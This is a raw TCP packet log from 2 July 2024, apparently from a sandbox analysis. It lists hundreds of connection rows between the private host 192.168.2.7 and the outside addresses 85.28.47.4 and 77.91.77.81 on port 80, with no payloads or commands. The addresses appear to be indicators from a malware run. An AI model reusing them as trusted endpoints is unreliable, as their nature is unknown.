Jul 2, 2024 12:21:06.681001902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681006908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681019068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681024075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681024075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681082010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681237936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681242943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681253910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681272030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681282043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681288004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681293011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681293011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681298971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681314945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681356907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681452036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681457996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681548119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681587934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681592941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681603909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681608915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681613922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681618929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681632996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681648970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681740999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681823015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681828976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681843996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681849003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681860924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.681868076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681910038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.681910038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.682032108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682037115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682046890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682053089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682063103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682113886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.682113886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.682168961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682176113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682182074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682185888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.682266951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.828897953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.833657026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006056070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006175041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006180048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006191969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006325006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006331921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006336927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006356955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006393909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006393909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006443977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006449938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006462097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006467104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006473064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006510973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006539106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006545067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006555080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006560087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006565094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006567955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006571054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006576061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006582022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006594896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006681919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006691933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006702900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006707907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006712914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006717920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006717920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006731033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006736994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006742001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006745100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006745100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006747007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006757975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006762981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006763935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006767988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006772995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006778002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006788015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006793976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.006798029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.006825924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007044077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007293940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007298946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007308960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007314920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007318974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007323980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007334948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007354975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007360935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007364988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007369995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007375002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007385015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007395983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007395983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007555962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007736921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007742882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007754087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007759094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007807970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007807970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007899046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007905006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007915974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007920980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007925987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007930994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007936001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007940054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007945061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007950068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007955074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007955074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007961035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007971048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007976055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007987976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.007997990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.007997990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.008100033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.614228964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.614324093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:07.619221926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:07.623126030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.463409901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.463545084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:08.508421898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:08.513293982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.686798096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.686813116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.686824083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.686887980 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:08.686933994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:08.689436913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:08.694322109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.868158102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:08.868362904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:08.884488106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:08.889226913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:09.594208002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:09.594400883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:09.620091915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:09.625073910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:10.318295002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:10.318350077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:10.321495056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:10.326376915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:10.326443911 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:10.327271938 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:10.332065105 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031467915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031559944 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031573057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031579018 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.031584024 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031599045 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031609058 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.031611919 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031653881 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.031687975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031699896 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031711102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031723976 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.031773090 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.031856060 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.031897068 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.036690950 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.036710978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.036751986 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.036765099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.347635984 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347661972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347677946 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347688913 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347706079 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347716093 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347727060 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347728014 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.347783089 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.347816944 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347827911 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347857952 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.347968102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347979069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.347989082 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348000050 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348007917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348011017 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348021984 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348028898 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348046064 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348073006 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348129034 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348165989 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348247051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348258018 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348268032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348278046 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348285913 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348289013 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348299026 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348309994 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.348311901 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348342896 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.348351955 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.353739977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.353777885 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.353786945 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.353787899 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.353823900 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.353836060 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.353842020 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.353866100 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.353985071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354022026 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354032993 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354043961 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354065895 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354067087 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354084015 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354106903 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354110956 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354149103 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354809999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354851961 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354887009 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354897022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354908943 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354922056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354938984 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.354944944 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.354971886 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.355705976 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.355716944 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.355726004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.355746031 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.355768919 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.355784893 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.355801105 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.355817080 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.355834961 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.356504917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.356533051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.356544971 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.356547117 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.356565952 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.356581926 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.356622934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.356632948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.356658936 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.357392073 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.357402086 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.357412100 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.357424021 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.357431889 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.357450008 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.357459068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.357491970 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.358177900 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.358225107 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.358232975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.358243942 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.358270884 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.358304977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.358315945 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.358346939 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.359108925 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359148979 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.359227896 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359237909 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359247923 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359260082 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359265089 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.359292030 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.359915972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359952927 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359955072 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.359962940 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.359983921 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.360002041 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.360016108 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.360027075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.360048056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.360718012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.360759020 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.360918999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.360961914 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.360995054 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.361031055 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.365360022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.365369081 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.365405083 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.365483999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.365494967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.365529060 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.396627903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396656036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396665096 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396677017 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396722078 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396733046 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396744967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396744013 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.396755934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396778107 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.396816015 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.396898031 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396908998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396919012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396930933 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.396934986 CEST	49700	80	192.168.2.7	77.91.77.81
